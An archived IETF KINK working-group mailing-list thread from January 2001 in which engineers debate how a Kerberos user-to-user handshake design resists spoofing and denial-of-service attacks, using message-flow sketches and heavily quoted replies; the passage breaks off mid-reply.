<97DEDE66B3DCD11199D200805FA71BE202FD4B2B@NTAS0027> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > The difference is that in my protocol, the client knows that the > "server" (or attacker) is real and wants to be a part of the protocol. > If it's an attacker, we know who it is. Ah, OK. My main uncomfort is having a situation where an attacker can anonymously (via spoofing) leverage unwitting zombies (clients) to attack both the client and KDC. I still think that we have a situation where you can mount a zombie attack, but at least this one isn't an _anonymous_ attack. If we have to do something like this -- and I still don't really think it's a very good idea -- I'd feel a lot more comfortable with this method. Also: if we do this, we ought to have a method for the client to decline the initiate which can be administratively turned on/off (ie, it is a MUST requirement for the client to implement). Mike From owner-ietf-kink Wed Jan 24 13:14:33 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA18484 for ietf-kink-bks; Wed, 24 Jan 2001 13:14:33 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA18477 for ; Wed, 24 Jan 2001 13:14:31 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id QAA20041; Wed, 24 Jan 2001 16:20:43 -0500 To: Michael Thomas Cc: "Medvinsky, Sasha (SD-EX)" , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B2B@NTAS0027> <14959.17824.917560.516615@thomasm-u1.cisco.com> From: Derek Atkins Date: 24 Jan 2001 16:20:43 -0500 In-Reply-To: Michael Thomas's message of "Wed, 24 Jan 2001 13:14:08 -0800 (PST)" Message-ID: Lines: 24 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas writes: > If we have to do something like this -- and I > still don't really think it's a very good idea -- > I'd feel a lot more comfortable with this method. > Also: if we do this, we ought to have a method for > the client to decline the initiate which can be > administratively turned on/off (ie, it is a MUST > requirement for the client to implement). I also think we should rate-limit this as well. I have no objections, only a question: how do you "administratively turn [it] off"? Do you recommend that we say that an implementation must have a means to turn it off, but leave off the how as an implementation detail? > Mike -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 13:45:37 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA21200 for ietf-kink-bks; Wed, 24 Jan 2001 13:45:37 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21195 for ; Wed, 24 Jan 2001 13:45:36 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id NAA17955; Wed, 24 Jan 2001 13:51:14 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAR00054; Wed, 24 Jan 2001 13:51:10 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA27070; Wed, 24 Jan 2001 13:51:10 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14959.20045.913691.381948@thomasm-u1.cisco.com> Date: Wed, 24 Jan 2001 13:51:09 -0800 (PST) To: Derek Atkins Cc: Michael Thomas , "Medvinsky, Sasha (SD-EX)" , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-Reply-To: References: <97DEDE66B3DCD11199D200805FA71BE202FD4B2B@NTAS0027> <14959.17824.917560.516615@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > Michael Thomas writes: > > > If we have to do something like this -- and I > > still don't really think it's a very good idea -- > > I'd feel a lot more comfortable with this method. > > Also: if we do this, we ought to have a method for > > the client to decline the initiate which can be > > administratively turned on/off (ie, it is a MUST > > requirement for the client to implement). > > I also think we should rate-limit this as well. I have no objections, > only a question: how do you "administratively turn [it] off"? Do you > recommend that we say that an implementation must have a means to turn > it off, but leave off the how as an implementation detail? Yes. Mike From owner-ietf-kink Wed Jan 24 13:48:05 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA21401 for ietf-kink-bks; Wed, 24 Jan 2001 13:48:05 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21392 for ; Wed, 24 Jan 2001 13:48:02 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZADDAYS3QF0M80M@GI.COM> for ietf-kink@vpnc.org; Wed, 24 Jan 2001 13:54:00 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 24 Jan 2001 13:51:55 -0500 Content-return: allowed Date: Wed, 24 Jan 2001 16:55:31 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B2F@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, OK, I understand the point that you are trying to make. The IP address provided by an attacker doesn't necessarily have to be the real one - but it does have to be on the same LAN, unless the attacker has another machine somewhere. I would contend though that the 'GetTGT' and 'GetTGT response' messages are optional. For example, if the client receiving the 'Initiate' already knows who that server is and trusts it, even if it doesn't have a ticket for it already, it does not need to send GetTGT. If the server name in the 'Initiate' is unknown to the recipient, it can send a 'GetTGT' to get some guarantee about the server's IP address. Also, the value of those two extra messages is not in the user-to-user mode but just the fact that the server sends a response back with the client's cookie. If these two messages were to simply contain the client and server cookies (in both messages) and no TGT, you probably wouldn't loose anything in terms of security. The user-to-user part only helps in the case where both sides are PKINIT clients and user-to-user is the only way to get a service ticket. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Wednesday, January 24, 2001 12:28 PM > To: Medvinsky, Sasha (SD-EX) > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > Ahh, but those extra packets DO provide extra security -- it requires > the attacker to not only stay in the loop but to provide their real IP > Address in order to get proper responses from the client and back to > the client. This type of attack is extremely easy to track down, and > it directly points to the attacker. In other words, in my version of > the protocol the attacker must provide their real identity (IP > Address) before any work is done by the client or KDC. > > In your version, the attacker could send a fake source-address and > never be tracked down. Also, you leave out the client->KDC and > KDC->client messages (before the AP Request).. Your protocol is just > as suspect as mine in that respect -- the client would make a KDC > request if it needs a ticket (just like it would in mine). > > The difference is that in my protocol, the client knows that the > "server" (or attacker) is real and wants to be a part of the protocol. > If it's an attacker, we know who it is. > > -derek > > "Medvinsky, Sasha (SD-EX)" writes: > > > Derek, > > > > What I meant is that anyone can send the 'Initiate' command > in your proposed > > sequence and when the bogus server then gets a GetTGT > request, it can reply > > with whatever TGT it likes - valid or not. > > > > In my proposal: server -> client: Authenticate Request > > client -> server: AP Request > > server -> client: AP Reply > > > > The Authenticate Request and AP Request are also tied > together with a > > 'server cookie' and so if the Authenticate Request is from > an adversary > > impersonating some server and the AP Request is to a real > server - the real > > server will drop the AP Request. So, the Denial of Service > attack wasn't on > > the server. Mike Thomas brought up the issue of the zombie > attacks on the > > KDC, where the clients will send TGS Requests to the KDC > after a bogus > > Authenticate Request. > > > > Your proposal doesn't help with this denial of service > attack - anyone can > > still send the 'Initiate' and wait for the GetTGT, respond > with anything > > they like. The KDC would still get hit with the TGS requests for > > user-to-user tickets possibly with bogus server TGTs. So, > it requires an > > adversary to implement a couple more messages. If you want > to use the > > user-to-user mode, the Authenticate Request could contain > the server's TGT > > as Mike once proposed. > > > > I am not sure that this denial of service attack on the KDC is a big > > problem, but my point is that the extra two messages in > your proposed flows > > (GetTGT requst and response) don't provide any additional security. > > > > Sasha. > > > > > -----Original Message----- > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > Sent: Tuesday, January 23, 2001 6:15 PM > > > To: Medvinsky, Sasha (SD-EX) > > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > > Subject: Re: KINK user-user scenario > > > > > > > > > You're forgetting the client and server cookies :) > > > > > > The client verifies that the TGT is from the real server > because it > > > contains a cookie that the client inserted into the > GetTGT request. > > > The attacker would have to guess the client's 'cookie' in order to > > > send a TGT that the client will accept. In other words, > the GetTGT > > > request contains two cookies, the server cookie as well > as the client > > > cookie. > > > > > > Sure, you're sacked if the attacker can snoop on the > network. But in > > > case you have other, bigger problems (and zombies are the worst of > > > your worries). > > > > > > Note that the validity of the TGT is being completely > ignored. What > > > we get from this protocol is that both the client and the > server are > > > mutually aware that they want to perform a handoff. > > > > > > -derek > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > Derek, > > > > > > > > I don't agree that your proposal below protects against all > > > types of DOS > > > > attacks. It is no different in that respect than my > proposal. The > > > > adversary doesn't even have to possess a valid TGT. When > > > the client receives > > > > a response to a "GetTGT", it has no way to verify the TGT > > > and simply has to > > > > send it over to the KDC. If the adversary wants to have a > > > valid TGT, it can > > > > get that as well - by snooping. > > > > > > > > Sasha. > > > > > > > > > > > > > -----Original Message----- > > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > > Sent: Tuesday, January 23, 2001 5:40 PM > > > > > To: Michael Thomas > > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; > ietf-kink@vpnc.org > > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > > > > Michael Thomas writes: > > > > > > > > > > > Derek Atkins writes: > > > > > > > App-Client App-Server KDC > > > > > > > <--- Inititate > > > > > > > > > > > > > > { if no ticket is cached ... > > > > > > > > > > > > > > { direct case: > > > > > > > TGS_REQ ---------------------> > > > > > > > <------------------------TGS_REP > > > > > > > } > > > > > > > { U2U case (or if direct case failed): > > > > > > > GetTGT* ---------> > > > > > > > <---------- U2U TGT > > > > > > > TGS_REQ ---------------------> > > > > > > > <------------------------TGS_REP > > > > > > > } > > > > > > > } > > > > > > > > > > > > > > AP_REQ* --------> > > > > > > > <--------- AP_REP > > > > > > > > > > > > [snip] > > > > > > How so? This looks the same to me as any other wakeup > > > > > > scheme: a minimal amount of work by the attacker (the > > > > > > "server" in your diagram) causes the attacked (client, > > > > > > KDC) to generate a non-minimal amount of work and > > > > > > traffic. This looks like the same old Zombie kind of > > > > > > attack as before. > > > > > > > > > > It's a modification to the wakeup scheme. Honestly, I > > > was thinking > > > > > about it in terms of U2U, not regular mode. In the > U2U mode, this > > > > > does protect against the DoS attacks. But you're right, > > > the regular > > > > > case only protects the App Server, not the client or > KDC (which I > > > > > suppose implies an impact on the App Server in that the > > > client will > > > > > try to initiate connections with anyone). > > > > > > > > > > This hybrid was based on the pushback of "too many messages". > > > > > Obviously we can go back to my prior suggestion which > > > basically adds > > > > > one round trip in order to perform the handoff. > > > > > > > > > > As I said, this is a question for the WG. How > important is the > > > > > handoff situation, versus how many extra messages do we > > > want to add to > > > > > support the handoff? And which is more important to the WG, > > > > > supporting a handoff situation with fewer messages or > protecting > > > > > against DoS? (Putting on my chairman hat, I would > suggest that > > > > > protecting against DoS is more important than supporting > > > handoffs with > > > > > fewer messages -- without my hat I consider handoffs > to be a lower > > > > > priority). > > > > > > > > > > So, we can go back to my older suggestion: > > > > > > > > > > C S K > > > > > <-- Init > > > > > Ack --> (Ack == "GetTGT") > > > > > <--- TGT > > > > > TGS_REQ -------> (REQ/REP can be repeated for > > > > > service ticket > > > > > <----------- TGS_REP to U2U failover or ignored for > > > > > cached tickets) > > > > > AP_REQ-> > > > > > <- AP_REP > > > > > > > > > > Where the TGS_REQ/TGS_REP could theoretically be > either a regular > > > > > service-ticket request, a U2U request, or potentially > > > both. Obviously > > > > > using U2U is just as cheap as anything else at this point. ;) > > > > > > > > > > I believe that this protocol _does_ protect against the > > > DoS attacks in > > > > > all cases, but it does add one extra roundtrip in the > case of a > > > > > non-U2U case over Sasha's wakeup protocol. > > > > > > > > > > > Mike > > > > > > > > > > -derek > > > > > > > > > > -- > > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media > Laboratory > > > > > Member, MIT Student Information Processing > Board (SIPB) > > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA > N1NWH > > > > > warlord@MIT.EDU PGP key > available > > > > > > > > > > > -- > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > Member, MIT Student Information Processing Board (SIPB) > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > > warlord@MIT.EDU PGP key available > > > > > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available > From owner-ietf-kink Wed Jan 24 13:59:57 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA21616 for ietf-kink-bks; Wed, 24 Jan 2001 13:59:57 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA21611 for ; Wed, 24 Jan 2001 13:59:56 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id RAA20105; Wed, 24 Jan 2001 17:06:04 -0500 To: "Medvinsky, Sasha (SD-EX)" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <97DEDE66B3DCD11199D200805FA71BE202FD4B2F@NTAS0027> From: Derek Atkins Date: 24 Jan 2001 17:06:04 -0500 In-Reply-To: "Medvinsky, Sasha's message of "Wed, 24 Jan 2001 16:55:31 -0500" Message-ID: Lines: 311 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: "Medvinsky, Sasha (SD-EX)" writes: > Derek, > > OK, I understand the point that you are trying to make. The IP address > provided by an attacker doesn't necessarily have to be the real one - but it > does have to be on the same LAN, unless the attacker has another machine > somewhere. True, but that is usually "good enough" to track down an attacker. > I would contend though that the 'GetTGT' and 'GetTGT response' messages are > optional. For example, if the client receiving the 'Initiate' already knows > who that server is and trusts it, even if it doesn't have a ticket for it > already, it does not need to send GetTGT. If the server name in the > 'Initiate' is unknown to the recipient, it can send a 'GetTGT' to get some > guarantee about the server's IP address. I _suppose_ if you have rate-limiting and you have a priori knowledge of the server, then you could _probably_ opt out of the 'GetTGT/response' handshake. I don't particularly like doing that. However, in the general case you cannot assume that such a priori knowledge is available, so without the handshake you leave yourself open to attack. Another problem is that without the extra handshake, an attacker can cause any client to rekey to a (real) server. So you definitely need rate limiting there, even if we do decide to allow the handshake to be optional in the case of a priori knowledge. > Also, the value of those two extra messages is not in the user-to-user mode > but just the fact that the server sends a response back with the client's > cookie. If these two messages were to simply contain the client and server > cookies (in both messages) and no TGT, you probably wouldn't loose anything > in terms of security. The user-to-user part only helps in the case where > both sides are PKINIT clients and user-to-user is the only way to get a > service ticket. Right -- the value is the handshake. I was just overloading the U2U messages because it would save an extra round-trip later in the case where we actually _needed_ to use U2U. In other words, if we just made a regular handshake that just included the cookies, then if the client needed to use U2U to authenticate then it would need another round trip in order to obtain the TGT. So why not just send it in the first place and save that trip later? > Sasha. -derek > > > -----Original Message----- > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > Sent: Wednesday, January 24, 2001 12:28 PM > > To: Medvinsky, Sasha (SD-EX) > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > Subject: Re: KINK user-user scenario > > > > > > Ahh, but those extra packets DO provide extra security -- it requires > > the attacker to not only stay in the loop but to provide their real IP > > Address in order to get proper responses from the client and back to > > the client. This type of attack is extremely easy to track down, and > > it directly points to the attacker. In other words, in my version of > > the protocol the attacker must provide their real identity (IP > > Address) before any work is done by the client or KDC. > > > > In your version, the attacker could send a fake source-address and > > never be tracked down. Also, you leave out the client->KDC and > > KDC->client messages (before the AP Request).. Your protocol is just > > as suspect as mine in that respect -- the client would make a KDC > > request if it needs a ticket (just like it would in mine). > > > > The difference is that in my protocol, the client knows that the > > "server" (or attacker) is real and wants to be a part of the protocol. > > If it's an attacker, we know who it is. > > > > -derek > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > Derek, > > > > > > What I meant is that anyone can send the 'Initiate' command > > in your proposed > > > sequence and when the bogus server then gets a GetTGT > > request, it can reply > > > with whatever TGT it likes - valid or not. > > > > > > In my proposal: server -> client: Authenticate Request > > > client -> server: AP Request > > > server -> client: AP Reply > > > > > > The Authenticate Request and AP Request are also tied > > together with a > > > 'server cookie' and so if the Authenticate Request is from > > an adversary > > > impersonating some server and the AP Request is to a real > > server - the real > > > server will drop the AP Request. So, the Denial of Service > > attack wasn't on > > > the server. Mike Thomas brought up the issue of the zombie > > attacks on the > > > KDC, where the clients will send TGS Requests to the KDC > > after a bogus > > > Authenticate Request. > > > > > > Your proposal doesn't help with this denial of service > > attack - anyone can > > > still send the 'Initiate' and wait for the GetTGT, respond > > with anything > > > they like. The KDC would still get hit with the TGS requests for > > > user-to-user tickets possibly with bogus server TGTs. So, > > it requires an > > > adversary to implement a couple more messages. If you want > > to use the > > > user-to-user mode, the Authenticate Request could contain > > the server's TGT > > > as Mike once proposed. > > > > > > I am not sure that this denial of service attack on the KDC is a big > > > problem, but my point is that the extra two messages in > > your proposed flows > > > (GetTGT requst and response) don't provide any additional security. > > > > > > Sasha. > > > > > > > -----Original Message----- > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > Sent: Tuesday, January 23, 2001 6:15 PM > > > > To: Medvinsky, Sasha (SD-EX) > > > > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > You're forgetting the client and server cookies :) > > > > > > > > The client verifies that the TGT is from the real server > > because it > > > > contains a cookie that the client inserted into the > > GetTGT request. > > > > The attacker would have to guess the client's 'cookie' in order to > > > > send a TGT that the client will accept. In other words, > > the GetTGT > > > > request contains two cookies, the server cookie as well > > as the client > > > > cookie. > > > > > > > > Sure, you're sacked if the attacker can snoop on the > > network. But in > > > > case you have other, bigger problems (and zombies are the worst of > > > > your worries). > > > > > > > > Note that the validity of the TGT is being completely > > ignored. What > > > > we get from this protocol is that both the client and the > > server are > > > > mutually aware that they want to perform a handoff. > > > > > > > > -derek > > > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > > > Derek, > > > > > > > > > > I don't agree that your proposal below protects against all > > > > types of DOS > > > > > attacks. It is no different in that respect than my > > proposal. The > > > > > adversary doesn't even have to possess a valid TGT. When > > > > the client receives > > > > > a response to a "GetTGT", it has no way to verify the TGT > > > > and simply has to > > > > > send it over to the KDC. If the adversary wants to have a > > > > valid TGT, it can > > > > > get that as well - by snooping. > > > > > > > > > > Sasha. > > > > > > > > > > > > > > > > -----Original Message----- > > > > > > From: Derek Atkins [mailto:warlord@MIT.EDU] > > > > > > Sent: Tuesday, January 23, 2001 5:40 PM > > > > > > To: Michael Thomas > > > > > > Cc: Medvinsky, Sasha (SD-EX); Jonathan Trostle; > > ietf-kink@vpnc.org > > > > > > Subject: Re: KINK user-user scenario > > > > > > > > > > > > > > > > > > Michael Thomas writes: > > > > > > > > > > > > > Derek Atkins writes: > > > > > > > > App-Client App-Server KDC > > > > > > > > <--- Inititate > > > > > > > > > > > > > > > > { if no ticket is cached ... > > > > > > > > > > > > > > > > { direct case: > > > > > > > > TGS_REQ ---------------------> > > > > > > > > <------------------------TGS_REP > > > > > > > > } > > > > > > > > { U2U case (or if direct case failed): > > > > > > > > GetTGT* ---------> > > > > > > > > <---------- U2U TGT > > > > > > > > TGS_REQ ---------------------> > > > > > > > > <------------------------TGS_REP > > > > > > > > } > > > > > > > > } > > > > > > > > > > > > > > > > AP_REQ* --------> > > > > > > > > <--------- AP_REP > > > > > > > > > > > > > > [snip] > > > > > > > How so? This looks the same to me as any other wakeup > > > > > > > scheme: a minimal amount of work by the attacker (the > > > > > > > "server" in your diagram) causes the attacked (client, > > > > > > > KDC) to generate a non-minimal amount of work and > > > > > > > traffic. This looks like the same old Zombie kind of > > > > > > > attack as before. > > > > > > > > > > > > It's a modification to the wakeup scheme. Honestly, I > > > > was thinking > > > > > > about it in terms of U2U, not regular mode. In the > > U2U mode, this > > > > > > does protect against the DoS attacks. But you're right, > > > > the regular > > > > > > case only protects the App Server, not the client or > > KDC (which I > > > > > > suppose implies an impact on the App Server in that the > > > > client will > > > > > > try to initiate connections with anyone). > > > > > > > > > > > > This hybrid was based on the pushback of "too many messages". > > > > > > Obviously we can go back to my prior suggestion which > > > > basically adds > > > > > > one round trip in order to perform the handoff. > > > > > > > > > > > > As I said, this is a question for the WG. How > > important is the > > > > > > handoff situation, versus how many extra messages do we > > > > want to add to > > > > > > support the handoff? And which is more important to the WG, > > > > > > supporting a handoff situation with fewer messages or > > protecting > > > > > > against DoS? (Putting on my chairman hat, I would > > suggest that > > > > > > protecting against DoS is more important than supporting > > > > handoffs with > > > > > > fewer messages -- without my hat I consider handoffs > > to be a lower > > > > > > priority). > > > > > > > > > > > > So, we can go back to my older suggestion: > > > > > > > > > > > > C S K > > > > > > <-- Init > > > > > > Ack --> (Ack == "GetTGT") > > > > > > <--- TGT > > > > > > TGS_REQ -------> (REQ/REP can be repeated for > > > > > > service ticket > > > > > > <----------- TGS_REP to U2U failover or ignored for > > > > > > cached tickets) > > > > > > AP_REQ-> > > > > > > <- AP_REP > > > > > > > > > > > > Where the TGS_REQ/TGS_REP could theoretically be > > either a regular > > > > > > service-ticket request, a U2U request, or potentially > > > > both. Obviously > > > > > > using U2U is just as cheap as anything else at this point. ;) > > > > > > > > > > > > I believe that this protocol _does_ protect against the > > > > DoS attacks in > > > > > > all cases, but it does add one extra roundtrip in the > > case of a > > > > > > non-U2U case over Sasha's wakeup protocol. > > > > > > > > > > > > > Mike > > > > > > > > > > > > -derek > > > > > > > > > > > > -- > > > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media > > Laboratory > > > > > > Member, MIT Student Information Processing > > Board (SIPB) > > > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA > > N1NWH > > > > > > warlord@MIT.EDU PGP key > > available > > > > > > > > > > > > > > -- > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > > Member, MIT Student Information Processing Board (SIPB) > > > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > > > warlord@MIT.EDU PGP key available > > > > > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > > warlord@MIT.EDU PGP key available > > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 24 15:03:04 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA25190 for ietf-kink-bks; Wed, 24 Jan 2001 15:03:04 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA25185 for ; Wed, 24 Jan 2001 15:03:02 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id PAA00700; Wed, 24 Jan 2001 15:09:09 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAR00057; Wed, 24 Jan 2001 15:08:56 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA27082; Wed, 24 Jan 2001 15:08:56 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14959.24712.150471.695319@thomasm-u1.cisco.com> Date: Wed, 24 Jan 2001 15:08:56 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Derek Atkins'" , Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Subject: RE: KINK user-user scenario In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD4B2F@NTAS0027> References: <97DEDE66B3DCD11199D200805FA71BE202FD4B2F@NTAS0027> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Medvinsky, Sasha (SD-EX) writes: > I would contend though that the 'GetTGT' and 'GetTGT response' messages are > optional. For example, if the client receiving the 'Initiate' already knows > who that server is and trusts it, even if it doesn't have a ticket for it > already, it does not need to send GetTGT. If the server name in the > 'Initiate' is unknown to the recipient, it can send a 'GetTGT' to get some > guarantee about the server's IP address. Since 'initiate' isn't authenticated, why can't I just spoof somebody you observably trust to mount the attack? Mike From owner-ietf-kink Wed Jan 24 16:51:08 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id QAA29151 for ietf-kink-bks; Wed, 24 Jan 2001 16:51:08 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA29146 for ; Wed, 24 Jan 2001 16:51:06 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JZAJR1R8NIF0MBW0@GI.COM> for ietf-kink@vpnc.org; Wed, 24 Jan 2001 16:56:49 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 24 Jan 2001 16:54:49 -0500 Content-return: allowed Date: Wed, 24 Jan 2001 19:58:25 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: KINK user-user scenario To: "'Derek Atkins'" Cc: Michael Thomas , Jonathan Trostle , ietf-kink@vpnc.org Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4B31@NTAS0027> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek, My replies are below. Sasha. > -----Original Message----- > From: Derek Atkins [mailto:warlord@MIT.EDU] > Sent: Wednesday, January 24, 2001 2:06 PM > To: Medvinsky, Sasha (SD-EX) > Cc: Michael Thomas; Jonathan Trostle; ietf-kink@vpnc.org > Subject: Re: KINK user-user scenario > > > "Medvinsky, Sasha (SD-EX)" writes: > > > Derek, > > > > OK, I understand the point that you are trying to make. > The IP address > > provided by an attacker doesn't necessarily have to be the > real one - but it > > does have to be on the same LAN, unless the attacker has > another machine > > somewhere. > > True, but that is usually "good enough" to track down an attacker. > > > I would contend though that the 'GetTGT' and 'GetTGT > response' messages are > > optional. For example, if the client receiving the > 'Initiate' already knows > > who that server is and trusts it, even if it doesn't have a > ticket for it > > already, it does not need to send GetTGT. If the server name in the > > 'Initiate' is unknown to the recipient, it can send a > 'GetTGT' to get some > > guarantee about the server's IP address. > > I _suppose_ if you have rate-limiting and you have a priori knowledge > of the server, then you could _probably_ opt out of the > 'GetTGT/response' handshake. I don't particularly like doing that. > However, in the general case you cannot assume that such a priori > knowledge is available, so without the handshake you leave yourself > open to attack. > > Another problem is that without the extra handshake, an attacker can > cause any client to rekey to a (real) server. So you definitely need > rate limiting there, even if we do decide to allow the handshake to be > optional in the case of a priori knowledge. [sasha] This is not a big problem if you have a 'server cookie' in the initiate and then again in the 